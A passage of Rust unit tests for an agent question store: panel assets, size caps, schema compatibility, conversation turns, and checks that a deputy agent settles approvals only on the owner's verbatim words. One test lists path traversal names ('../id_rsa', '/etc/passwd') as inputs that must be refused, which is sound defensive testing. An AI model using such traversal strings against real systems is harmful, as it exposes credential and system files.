2676        // The assets were copied, so the panel still renders after `magi fold`
2677        // has deleted the candidate worktree the agent authored it in.
2678        std::fs::remove_dir_all(&work).unwrap();
2679        assert_eq!(
2680            s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
2681            Some(&b"\x89PNG"[..]),
2682            "a referenced asset would be gone with the worktree"
2683        );
2684    }
2685
2686    #[test]
2687    fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
2688        let (dir, s) = store();
2689        let mut q = panelled();
2690        s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
2691        s.put(&mut q).unwrap();
2692
2693        // A file exactly one level up from the panel directory - which is
2694        // where `..` lands - holding content a read would make visible.
2695        let secret = "this must never reach the browser";
2696        std::fs::write(s.root().join("id_rsa"), secret).unwrap();
2697        assert_eq!(
2698            std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
2699            secret,
2700            "the traversal is real: the operating system resolves this path \
2701             happily, which is why the name has to be refused before the join"
2702        );
2703
2704        let long = "x".repeat(200);
2705        for name in [
2706            "..",
2707            "../id_rsa",
2708            "..\\id_rsa",
2709            "sub/../id_rsa",
2710            "/",
2711            "\\",
2712            "/etc/passwd",
2713            "C:\\Windows\\win.ini",
2714            "",
2715            ".hidden",
2716            ".",
2717            long.as_str(),
2718        ] {
2719            assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
2720            let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
2721            assert!(
2722                e.contains("not a panel file name"),
2723                "`{name}` must be refused as a name, not attempted: {e}"
2724            );
2725            assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
2726        }
2727        // A name that is allowed still finds its file, so the refusals above
2728        // were the rule at work and not a store that reads nothing.
2729        assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
2730
2731        // The same rule on the write side, where the name comes from a source
2732        // file's base name, and a refusal leaves the stored panel untouched.
2733        let hidden = dir.path().join(".hidden");
2734        std::fs::write(&hidden, "x").unwrap();
2735        let e = s
2736            .put_panel(&mut q, "<p>replacement</p>", &[hidden])
2737            .unwrap_err()
2738            .to_string();
2739        assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
2740        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
2741        assert!(q.assets.is_empty());
2742    }
2743
2744    #[test]
2745    fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
2746        let (dir, s) = store();
2747        let mut q = panelled();
2748        s.put(&mut q).unwrap();
2749
2750        // Sized rather than filled: the cap reads the file's length, and a
2751        // test that actually produced eight mebibytes would only be slower.
2752        let big = dir.path().join("recording.png");
2753        std::fs::File::create(&big)
2754            .unwrap()
2755            .set_len(PANEL_MAX_BYTES)
2756            .unwrap();
2757
2758        let html = "<p>see the recording</p>";
2759        let total = PANEL_MAX_BYTES + html.len() as u64;
2760        let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
2761        assert!(
2762            e.contains(&PANEL_MAX_BYTES.to_string()),
2763            "the cap is named so the agent knows the limit: {e}"
2764        );
2765        assert!(
2766            e.contains(&total.to_string()),
2767            "the actual size is named so the agent knows by how much: {e}"
2768        );
2769
2770        assert!(!q.panel);
2771        assert!(q.assets.is_empty());
2772        let left: Vec<String> = std::fs::read_dir(s.root())
2773            .unwrap()
2774            .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
2775            .collect();
2776        assert_eq!(
2777            left,
2778            [format!("{}.json", q.id)],
2779            "a refused panel leaves neither a directory nor scratch: {left:?}"
2780        );
2781    }
2782
2783    #[test]
2784    fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
2785        let (dir, s) = store();
2786        let (before, after) = (dir.path().join("before"), dir.path().join("after"));
2787        std::fs::create_dir_all(&before).unwrap();
2788        std::fs::create_dir_all(&after).unwrap();
2789        std::fs::write(before.join("diff.png"), "before").unwrap();
2790        std::fs::write(after.join("diff.png"), "after").unwrap();
2791
2792        let mut q = panelled();
2793        let e = s
2794            .put_panel(
2795                &mut q,
2796                "<p>x</p>",
2797                &[before.join("diff.png"), after.join("diff.png")],
2798            )
2799            .unwrap_err()
2800            .to_string();
2801        assert!(e.contains("diff.png"), "{e}");
2802        assert!(
2803            e.contains("before") && e.contains("after"),
2804            "both sources are named, because the fix is to rename one: {e}"
2805        );
2806        assert!(!q.panel);
2807        assert!(!s.panel_dir(&q.id).exists());
2808    }
2809
2810    #[test]
2811    fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
2812        let (dir, s) = store();
2813        std::fs::write(dir.path().join("old.png"), "old").unwrap();
2814        std::fs::write(dir.path().join("new.png"), "new").unwrap();
2815
2816        let mut q = panelled();
2817        s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
2818            .unwrap();
2819        s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
2820            .unwrap();
2821
2822        assert_eq!(q.assets, ["new.png"]);
2823        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
2824        assert!(
2825            s.panel_asset(&q.id, "old.png").unwrap().is_none(),
2826            "an asset from the first attempt would show a mix of two answers"
2827        );
2828
2829        s.drop_panel(&q.id).unwrap();
2830        assert!(s.panel_html(&q.id).is_none());
2831        assert!(!s.panel_dir(&q.id).exists());
2832        s.drop_panel(&q.id)
2833            .expect("dropping a panel that is already gone is the desired state");
2834    }
2835
2836    #[test]
2837    fn a_question_with_no_panel_reports_none_rather_than_an_error() {
2838        let (_dir, s) = store();
2839        let mut q = panelled();
2840        s.put(&mut q).unwrap();
2841
2842        assert!(!q.panel);
2843        assert!(s.panel_html(&q.id).is_none());
2844        assert!(
2845            s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
2846            "a missing file is a 404 for the caller, not a failure of the store"
2847        );
2848        let json = serde_json::to_value(&q).unwrap();
2849        assert_eq!(json["panel"], false);
2850        assert_eq!(json["assets"], serde_json::json!([]));
2851
2852        // And an empty panel is refused, because an empty frame reads to the
2853        // owner as "the agent had nothing to say".
2854        let e = s.put_panel(&mut q, "  \n", &[]).unwrap_err().to_string();
2855        assert!(e.contains("empty panel"), "{e}");
2856        assert!(!s.panel_dir(&q.id).exists());
2857    }
2858
2859    #[test]
2860    fn a_question_written_before_panels_existed_still_deserialises() {
2861        let (_dir, s) = store();
2862        std::fs::create_dir_all(s.root()).unwrap();
2863        let id = "20260902-231501-ab12";
2864        // Byte for byte what an older magi wrote: no `panel`, no `assets`.
2865        let body = r#"{
2866  "schema": 1,
2867  "id": "20260902-231501-ab12",
2868  "run": "20260902-201256-9fb7",
2869  "node": "implement",
2870  "seat": "impl-A",
2871  "summary": "Which storage backend should the cache use?",
2872  "detail": "Both are already dependencies.",
2873  "choices": ["SQLite", "Redis"],
2874  "status": "open",
2875  "asked_at": "2026-09-02T23:15:01Z",
2876  "answered_at": null,
2877  "answer": null
2878}"#;
2879        std::fs::write(s.path_of(id), body).unwrap();
2880
2881        let q = s.get(id).unwrap();
2882        assert!(
2883            !q.panel,
2884            "an absent field means no panel, not a parse error"
2885        );
2886        assert!(q.assets.is_empty());
2887        // Schema 1 predates `thread` entirely - not merely predates it having
2888        // any turns - and this build now speaks schema 3. Reading it must not
2889        // be an error: `q.schema > SCHEMA` is false for 1 > 3, so the file is
2890        // accepted and the missing field defaults to no conversation yet.
2891        assert_eq!(q.schema, 1);
2892        assert!(q.thread.is_empty());
2893        assert_eq!(
2894            q.answer_timeout, 0,
2895            "an absent field means unrecorded, not a zero-second deadline"
2896        );
2897        assert!(!q.waiting_on_agent());
2898        assert_eq!(q.summary, "Which storage backend should the cache use?");
2899        assert_eq!(
2900            s.list().len(),
2901            1,
2902            "and it is still listed; skipping it would hide an open question"
2903        );
2904    }
2905
2906    fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
2907        Turn {
2908            who,
2909            body: body.to_owned(),
2910            at,
2911            note: None,
2912        }
2913    }
2914
2915    #[test]
2916    fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
2917        // The phone reads this shape by hand, same as the question itself: a
2918        // rename here is a card that silently drops every message in it.
2919        let mut q = choice_question();
2920        q.thread
2921            .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
2922        let value = serde_json::to_value(&q.thread[0]).unwrap();
2923        let mut keys: Vec<&str> = value
2924            .as_object()
2925            .unwrap()
2926            .keys()
2927            .map(String::as_str)
2928            .collect();
2929        keys.sort_unstable();
2930        assert_eq!(keys, ["at", "body", "who"]);
2931        assert_eq!(value["who"], "operator");
2932        assert_eq!(value["body"], "why not Postgres?");
2933
2934        let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
2935        let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
2936        assert_eq!(parsed.who, Who::Agent);
2937    }
2938
2939    fn approval_question() -> Question {
2940        let mut q = Question::new(
2941            "run".into(),
2942            crate::land::APPROVAL_NODE.into(),
2943            "land".into(),
2944            "Merge?".into(),
2945            String::new(),
2946            vec!["merge".into(), "hold".into()],
2947        );
2948        let mut dep = Deputy::new("brief".into());
2949        dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
2950        q.deputy = Some(dep);
2951        q
2952    }
2953
2954    #[test]
2955    fn merge_repair_deputy_settle_requires_the_exact_latest_owner_choice() {
2956        let mut q = approval_question();
2957        q.choices.push(crate::land::REPAIR.into());
2958        q.say("maybe fix findings and re-review").unwrap();
2959        assert!(
2960            q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
2961                .is_err()
2962        );
2963        q.say(crate::land::REPAIR).unwrap();
2964        q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
2965            .unwrap();
2966        assert_eq!(q.resolution().as_deref(), Some(crate::land::REPAIR));
2967        assert_eq!(
2968            crate::land::approval(q.resolution().as_deref()),
2969            crate::land::Approval::Repair
2970        );
2971    }
2972
2973    #[test]
2974    fn a_merge_approval_settles_on_a_verbatim_quote_of_the_latest_message() {
2975        let mut q = approval_question();
2976        q.say("merge").unwrap();
2977        q.reply("sure?", vec!["merge".into(), "hold".into()])
2978            .unwrap();
2979        q.say(" Merge it please ").unwrap();
2980        assert!(
2981            q.settle_by_deputy("deputy-x", "merge", "   ", None)
2982                .is_err(),
2983            "an empty quote is refused"
2984        );
2985        assert!(
2986            q.settle_by_deputy("deputy-x", "merge", "ship it", None)
2987                .is_err(),
2988            "a quote the owner never said is refused"
2989        );
2990        assert_eq!(q.status, QuestionStatus::Open);
2991        q.settle_by_deputy("deputy-x", "merge", "Merge it please", None)
2992            .unwrap();
2993        assert_eq!(q.resolution().as_deref(), Some("merge"));
2994    }
2995
2996    #[test]
2997    fn posting_the_original_text_needs_an_unhedged_verbatim_quote() {
2998        use crate::github_text::{POST_ORIGINAL, USE_FALLBACK};
2999        let mk = || {
3000            let mut q = Question::new(
3001                "run".into(),
3002                crate::github_text::ASK_NODE.into(),
3003                crate::github_text::ASK_SEAT.into(),
3004                "s".into(),
3005                String::new(),
3006                vec![USE_FALLBACK.into(), POST_ORIGINAL.into()],
3007            );
3008            let mut dep = Deputy::new("brief".into());
3009            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3010            q.deputy = Some(dep);
3011            q
3012        };
3013        let mut hedged = mk();
3014        hedged.say("Post the original, maybe?").unwrap();
3015        assert!(
3016            hedged
3017                .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original", None)
3018                .is_err()
3019        );
3020        let mut clear = mk();
3021        clear.say("Post the original text as it is.").unwrap();
3022        clear
3023            .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original text", None)
3024            .unwrap();
3025        assert_eq!(clear.resolution().as_deref(), Some(POST_ORIGINAL));
3026        let mut japanese = mk();
3027        let words = "いいや、まだ説明が足りない。元の説明で投稿してください。";
3028        japanese.say(words).unwrap();
3029        japanese
3030            .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3031            .unwrap();
3032        let mut unrelated = mk();
3033        unrelated.say("Proceed with the task").unwrap();
3034        assert!(
3035            unrelated
3036                .settle_by_deputy("deputy-x", POST_ORIGINAL, "Proceed with the task", None)
3037                .is_err()
3038        );
3039        for words in [
3040            "OK, post the original",
3041            "Yes, post original",
3042            "I'd like to post the original",
3043        ] {
3044            let mut natural = mk();
3045            natural.say(words).unwrap();
3046            natural
3047                .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3048                .unwrap();
3049        }
3050        for (message, quote) in [
3051            (
3052                "ログには「元の説明で投稿しました」と記録されています。",
3053                "ログには「元の説明で投稿しました」と記録されています。",
3054            ),
3055            (
3056                "ログには「元の説明で投稿してください」と記録されています。",
3057                "元の説明で投稿してください",
3058            ),
3059        ] {
3060            let mut descriptive = mk();
3061            descriptive.say(message).unwrap();
3062            assert!(
3063                descriptive
3064                    .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3065                    .is_err()
3066            );
3067            assert!(descriptive.status.open());
3068            assert!(descriptive.answer.is_none());
3069        }
3070        let mut descriptive = mk();
3071        let message = "Post original was the option I saw.";
3072        descriptive.say(message).unwrap();
3073        for quote in [message, "Post original"] {
3074            assert!(
3075                descriptive
3076                    .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3077                    .is_err()
3078            );
3079            assert!(descriptive.status.open());
3080            assert!(descriptive.answer.is_none());
3081        }
3082        // The changed text is the safe default: no extra guard beyond the quote.
3083        let mut safe = mk();
3084        safe.say("use the fallback").unwrap();
3085        safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3086            .unwrap();
3087    }
3088
3089    #[test]
3090    fn posting_deputy_rejects_multiline_quoted_context() {
3091        use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3092        for (command, choice) in [
3093            ("Post original", POST_ORIGINAL),
3094            ("Use rewrite", USE_REWRITE),
3095        ] {
3096            for message in [
3097                format!("The log contains:\n```\n{command}\n```"),
3098                format!("The log contains:\n\"\n{command}\n\""),
3099                format!("The log says: “Reported. {command}.”"),
3100                format!("The log says: “\n{command}\n”"),
3101            ]
3102            .into_iter()
3103            .chain(crate::github_text::reported_posting_messages(command))
3104            {
3105                let mut q = Question::new(
3106                    "run".into(),
3107                    ASK_NODE.into(),
3108                    ASK_SEAT.into(),
3109                    "s".into(),
3110                    String::new(),
3111                    vec![USE_FALLBACK.into(), choice.into()],
3112                );
3113                let mut dep = Deputy::new("brief".into());
3114                dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3115                q.deputy = Some(dep);
3116                q.say(&message).unwrap();
3117                let tmp = tempfile::tempdir().unwrap();
3118                let questions = Questions::at(tmp.path().join("questions"));
3119                questions.put(&mut q).unwrap();
3120                for quote in [command, message.as_str()] {
3121                    assert!(
3122                        questions
3123                            .update(&q.id, |stored| {
3124                                stored.settle_by_deputy("deputy-x", choice, quote, None)
3125                            })
3126                            .is_err()
3127                    );
3128                    let after = questions.get(&q.id).unwrap();
3129                    assert!(after.status.open());
3130                    assert!(after.answer.is_none());
3131                }
3132            }
3133        }
3134    }
3135
3136    #[test]
3137    fn posting_the_rewrite_needs_an_unhedged_verbatim_quote() {
3138        use crate::github_text::{USE_FALLBACK, USE_REWRITE};
3139        let mk = || {
3140            let mut q = Question::new(
3141                "run".into(),
3142                crate::github_text::ASK_NODE.into(),
3143                crate::github_text::ASK_SEAT.into(),
3144                "s".into(),
3145                String::new(),
3146                vec![USE_FALLBACK.into(), USE_REWRITE.into()],
3147            );
3148            let mut dep = Deputy::new("brief".into());
3149            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3150            q.deputy = Some(dep);
3151            q
3152        };
3153        let mut hedged = mk();
3154        hedged.say("Use the rewrite, maybe?").unwrap();
3155        assert!(
3156            hedged
3157                .settle_by_deputy("deputy-x", USE_REWRITE, "Use the rewrite", None)
3158                .is_err()
3159        );
3160        let mut descriptive = mk();
3161        let message = "Use rewrite was the option I saw.";
3162        descriptive.say(message).unwrap();
3163        for quote in [message, "Use rewrite"] {
3164            assert!(
3165                descriptive
3166                    .settle_by_deputy("deputy-x", USE_REWRITE, quote, None)
3167                    .is_err()
3168            );
3169            assert!(descriptive.status.open());
3170            assert!(descriptive.answer.is_none());
3171        }
3172        for words in [
3173            "Use the rewrite text as it is.",
3174            "I'd like to use the rewrite",
3175            "修正版で投稿してください。",
3176        ] {
3177            let mut clear = mk();
3178            clear.say(words).unwrap();
3179            clear
3180                .settle_by_deputy("deputy-x", USE_REWRITE, words, None)
3181                .unwrap();
3182            assert_eq!(clear.resolution().as_deref(), Some(USE_REWRITE));
3183        }
3184        // The changed text is the safe default: no extra guard beyond the quote.
3185        let mut safe = mk();
3186        safe.say("use the fallback").unwrap();
3187        safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3188            .unwrap();
3189    }
3190
3191    #[test]
3192    fn a_local_release_approval_is_held_to_the_merge_rules_but_an_escalation_is_not() {
3193        let mk = |choices: Vec<String>| {
3194            let mut q = Question::new(
3195                String::new(),
3196                crate::bump::NOTICE_NODE.into(),
3197                "release-watch".into(),
3198                "Release?".into(),
3199                String::new(),
3200                choices,
3201            );
3202            let mut dep = Deputy::new("brief".into());
3203            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3204            q.deputy = Some(dep);
3205            q
3206        };
3207        let mut approval = mk(vec!["merge".into(), "hold".into()]);
3208        assert!(crate::deputy::merge_gated(&approval));
3209        approval.say("マージしていいよ").unwrap();
3210        assert!(
3211            approval
3212                .settle_by_deputy("deputy-x", "merge", "ぜひマージして", None)
3213                .is_err(),
3214            "a quote the owner never said is refused"
3215        );
3216        approval
3217            .settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3218            .unwrap();
3219
3220        let mut esc = mk(vec!["rerun again".into(), "hold".into(), "leave it".into()]);
3221        assert!(!crate::deputy::merge_gated(&esc));
3222        esc.say("もう監視はいらない").unwrap();
3223        esc.settle_by_deputy("deputy-x", "leave it", "監視はいらない", None)
3224            .unwrap();
3225        assert_eq!(esc.resolution().as_deref(), Some("leave it"));
3226    }
3227
3228    #[test]
3229    fn a_merge_among_other_requests_settles_but_hold_needs_the_whole_message() {
3230        let mut q = approval_question();
3231        q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3232            .unwrap();
3233        assert!(
3234            q.settle_by_deputy("deputy-x", "merge", "どこかの言葉", None)
3235                .is_err(),
3236            "the quote must be the owner's"
3237        );
3238        assert!(
3239            q.settle_by_deputy("deputy-x", "hold", "マージしていいよ", None)
3240                .is_err(),
3241            "`hold` still needs the whole message"
3242        );
3243        q.settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3244            .unwrap();
3245        assert_eq!(q.resolution().as_deref(), Some("merge"));
3246    }
3247
3248    fn settle_ready() -> Question {
3249        let mut q = Question::new(
3250            "task".to_owned(),
3251            "conduct".to_owned(),
3252            "conduct".to_owned(),
3253            "Done?".to_owned(),
3254            String::new(),
3255            vec!["yes".to_owned(), "no".to_owned()],
3256        );
3257        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3258        seat.turns = 1;
3259        let mut dep = Deputy::new("brief".to_owned());
3260        dep.seat = Some(seat);
3261        q.deputy = Some(dep);
3262        q.say("setup done, and file a follow-up").unwrap();
3263        q
3264    }
3265
3266    #[test]
3267    fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3268        let dir = tempfile::TempDir::new().unwrap();
3269        let store = Questions::at(dir.path().join("questions"));
3270        let mut q = settle_ready();
3271        let id = q.id.clone();
3272        store.put(&mut q).unwrap();
3273        store
3274            .update(&id, |q| {
3275                q.settle_by_deputy(
3276                    "deputy-x",
3277                    "yes",
3278                    "setup done",
3279                    Some("  no follow-up was queued  "),
3280                )
3281            })
3282            .unwrap();
3283        let back = store.get(&id).unwrap();
3284        let turn = back.thread.last().unwrap();
3285        assert_eq!(turn.who, Who::Agent);
3286        assert!(turn.body.starts_with("Settled as `yes`"));
3287        assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3288        assert_eq!(back.thread[0].note, None);
3289    }
3290
3291    #[test]
3292    fn an_empty_or_blank_settle_note_is_no_note() {
3293        for note in [None, Some(""), Some("  \n ")] {
3294            let mut q = settle_ready();
3295            q.settle_by_deputy("deputy-x", "yes", "setup done", note)
3296                .unwrap();
3297            assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3298            let json = serde_json::to_string(&q).unwrap();
3299            assert!(!json.contains("\"note\""), "no key when there is none");
3300        }
3301    }
3302
3303    #[test]
3304    fn a_refused_settle_leaves_no_note_behind() {
3305        let mut q = settle_ready();
3306        let before = q.thread.clone();
3307        assert!(
3308            q.settle_by_deputy("deputy-x", "yes", "never said this", Some("n"))
3309                .is_err()
3310        );
3311        assert!(
3312            q.settle_by_deputy("someone-else", "yes", "setup done", Some("n"))
3313                .is_err()
3314        );
3315        assert_eq!(q.thread, before);
3316        assert_eq!(q.status, QuestionStatus::Open);
3317    }
3318
3319    #[test]
3320    fn a_turn_written_before_notes_existed_still_reads() {
3321        let t: Turn =
3322            serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3323                .unwrap();
3324        assert_eq!(t.note, None);
3325    }
3326
3327    #[test]
3328    fn a_quote_from_an_earlier_owner_message_does_not_settle_a_merge() {
3329        let mut q = approval_question();
3330        q.say("merge").unwrap();
3331        q.reply("sure?", vec!["merge".into(), "hold".into()])
3332            .unwrap();
3333        q.say("wait, hold off").unwrap();
3334        assert!(
3335            q.settle_by_deputy("deputy-x", "merge", "merge", None)
3336                .is_err()
3337        );
3338        assert_eq!(q.status, QuestionStatus::Open);
3339    }
3340
3341    #[test]
3342    fn a_deputy_settles_only_on_an_offered_choice_and_the_owners_own_words() {
3343        let mut q = Question::new(
3344            "task".to_owned(),
3345            "conduct".to_owned(),
3346            "conduct".to_owned(),
3347            "Done?".to_owned(),
3348            String::new(),
3349            vec!["yes".to_owned(), "no".to_owned()],
3350        );
3351        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3352        seat.turns = 1;
3353        let mut dep = Deputy::new("brief".to_owned());
3354        dep.seat = Some(seat);
3355        q.deputy = Some(dep);
3356        q.say("setup done, go ahead").unwrap();
3357
3358        assert!(
3359            q.settle_by_deputy("someone-else", "yes", "setup done", None)
3360                .is_err()
3361        );
3362        assert!(
3363            q.settle_by_deputy("deputy-x", "maybe", "setup done", None)
3364                .is_err()
3365        );
3366        assert!(
3367            q.settle_by_deputy("deputy-x", "yes", "never said this", None)
3368                .is_err()
3369        );
3370        assert!(q.settle_by_deputy("deputy-x", "yes", "  ", None).is_err());
3371        assert_eq!(q.status, QuestionStatus::Open);
3372
3373        q.settle_by_deputy("deputy-x", "yes", "setup done", None)
3374            .unwrap();
3375        assert_eq!(q.status, QuestionStatus::Answered);
3376        assert_eq!(q.resolution().as_deref(), Some("yes"));
3377        let last = q.thread.last().unwrap();
3378        assert_eq!(last.who, Who::Agent);
3379        assert!(
3380            last.body.contains("setup done"),
3381            "the quote stays on the record"
3382        );
3383    }
3384
3385    #[test]
3386    fn a_question_written_before_deputies_still_reads() {
3387        let mut q = Question::new(
3388            "task".to_owned(),
3389            "conduct".to_owned(),
3390            "conduct".to_owned(),
3391            "Done?".to_owned(),
3392            String::new(),
3393            Vec::new(),
3394        );
3395        q.schema = 4;
3396        let mut v = serde_json::to_value(&q).unwrap();
3397        v.as_object_mut().unwrap().remove("deputy");
3398        let back: Question = serde_json::from_value(v).unwrap();
3399        assert!(back.deputy.is_none());
3400    }
3401
3402    #[test]
3403    fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3404        let mut q = choice_question();
3405        q.say("does the cache need eviction?").unwrap();
3406        assert_eq!(q.thread.len(), 1);
3407        assert_eq!(q.thread[0].who, Who::Operator);
3408        assert_eq!(q.thread[0].body, "does the cache need eviction?");
3409        // Speaking is not deciding: the status and the answer are untouched,
3410        // which is the whole point of the round trip existing at all.
3411        assert_eq!(q.status, QuestionStatus::Open);
3412        assert!(q.answer.is_none());
3413        assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3414    }
3415
3416    #[test]
3417    fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3418        let mut answered = choice_question();
3419        answered
3420            .answer(Answer::Choice("SQLite".to_owned()))
3421            .unwrap();
3422        let a = answered.say("still there?").unwrap_err().to_string();
3423        assert!(a.contains("already answered"), "{a}");
3424        let b = answered
3425            .reply("still there?", vec![])
3426            .unwrap_err()
3427            .to_string();
3428        assert!(b.contains("already answered"), "{b}");
3429
3430        let mut abandoned = choice_question();
3431        abandoned.abandon("timed out");
3432        let c = abandoned.say("hello?").unwrap_err().to_string();
3433        assert!(c.contains("abandoned"), "{c}");
3434
3435        let mut open = choice_question();
3436        let d = open.say("   ").unwrap_err().to_string();
3437        assert!(d.contains("empty"), "{d}");
3438        let e = open.reply("  \n", vec![]).unwrap_err().to_string();
3439        assert!(e.contains("empty"), "{e}");
3440        assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3441    }
3442
3443    #[test]
3444    fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3445        let mut q = choice_question();
3446        q.say("SQLite or Redis, but what about disk space?")
3447            .unwrap();
3448        assert!(q.waiting_on_agent());
3449
3450        q.reply(
3451            "SQLite: it is one file, no server to run.",
3452            vec!["SQLite".to_owned()],
3453        )
3454        .unwrap();
3455
3456        assert_eq!(q.choices, ["SQLite"]);
3457        assert!(
3458            !q.waiting_on_agent(),
3459            "the agent spoke, so the owner is the one being waited on now"
3460        );
3461        assert_eq!(q.thread.len(), 2);
3462        assert_eq!(q.thread[1].who, Who::Agent);
3463
3464        // The new choice set is what a subsequent answer is checked against.
3465        assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3466        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3467        assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3468    }
3469
3470    #[test]
3471    fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3472        let mut fresh = choice_question();
3473        assert!(
3474            fresh.should_notify(Timestamp::now()),
3475            "nobody has been notified yet, so the first ask always pages"
3476        );
3477
3478        fresh.say("why not Postgres?").unwrap();
3479        let just_said = fresh.thread[0].at;
3480        assert!(
3481            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
3482            "still on the screen a minute later; no need to page again"
3483        );
3484        assert!(
3485            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
3486            "exactly the window: `>` means this side stays quiet"
3487        );
3488        assert!(
3489            fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
3490            "past the window: they may have walked away"
3491        );
3492    }
3493
3494    #[test]
3495    fn a_round_trip_of_turns_still_counts_as_one_open_question() {
3496        let (_dir, s) = store();
3497        let mut q = choice_question();
3498        s.put(&mut q).unwrap();
3499        q.say("why not Postgres?").unwrap();
3500        s.put(&mut q).unwrap();
3501        q.reply("no server to run", vec!["SQLite".to_owned()])
3502            .unwrap();
3503        s.put(&mut q).unwrap();
3504
3505        assert_eq!(
3506            s.count_open(),
3507            1,
3508            "one question that talked twice is still one open question"
3509        );
3510        assert_eq!(s.open_for(&q.run).len(), 1);
3511    }
3512
3513    #[tokio::test]
3514    async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
3515        let (dir, s) = store();
3516        let mut q = choice_question();
3517        let id = q.id.clone();
3518        let writer = Questions::at(dir.path().join("questions"));
3519        let handle = tokio::spawn(async move {
3520            tokio::time::sleep(Duration::from_millis(30)).await;
3521            let mut fresh = writer.get(&id).expect("the question was filed first");
3522            fresh.say("why not Postgres?").unwrap();
3523            writer.put(&mut fresh).unwrap();
3524        });
3525
3526        let got = wait_for_owner(
3527            &mut q,
3528            &s,
3529            &quiet(),
3530            Duration::from_secs(5),
3531            Duration::from_millis(10),
3532        )
3533        .await
3534        .unwrap();
3535
3536        handle.await.unwrap();
3537        assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
3538        assert_eq!(
3539            q.status,
3540            QuestionStatus::Open,
3541            "talking back is not a decision; the question stays open"
3542        );
3543        assert!(q.answer.is_none());
3544    }
3545
3546    #[test]
3547    fn a_say_that_lands_before_the_agents_reply_stays_unread() {
3548        let mut q = choice_question();
3549        q.say("A").unwrap();
3550        q.delivered_turns = q.thread.len();
3551        q.say("B").unwrap();
3552        q.reply("about A", vec![]).unwrap();
3553        assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
3554        q.delivered_turns = q.thread.len();
3555        assert_eq!(q.unread_from_owner(), None);
3556    }
3557
3558    #[test]
3559    fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
3560        let (_d, s) = store();
3561        let mut q = choice_question();
3562        s.put(&mut q).unwrap();
3563        q.say("first").unwrap();
3564        q.say("second").unwrap();
3565        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3566        s.put(&mut q).unwrap();
3567        assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
3568        let mut out = Vec::new();
3569        deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
3570        let shown = String::from_utf8(out).unwrap();
3571        let (a, b, c) = (
3572            shown.find("first").unwrap(),
3573            shown.find("second").unwrap(),
3574            shown.find("SQLite").unwrap(),
3575        );
3576        assert!(a < b && b < c, "{shown}");
3577        assert_eq!(q.delivered_turns, q.thread.len());
3578        assert!(q.answer_delivered);
3579    }
3580
3581    #[test]
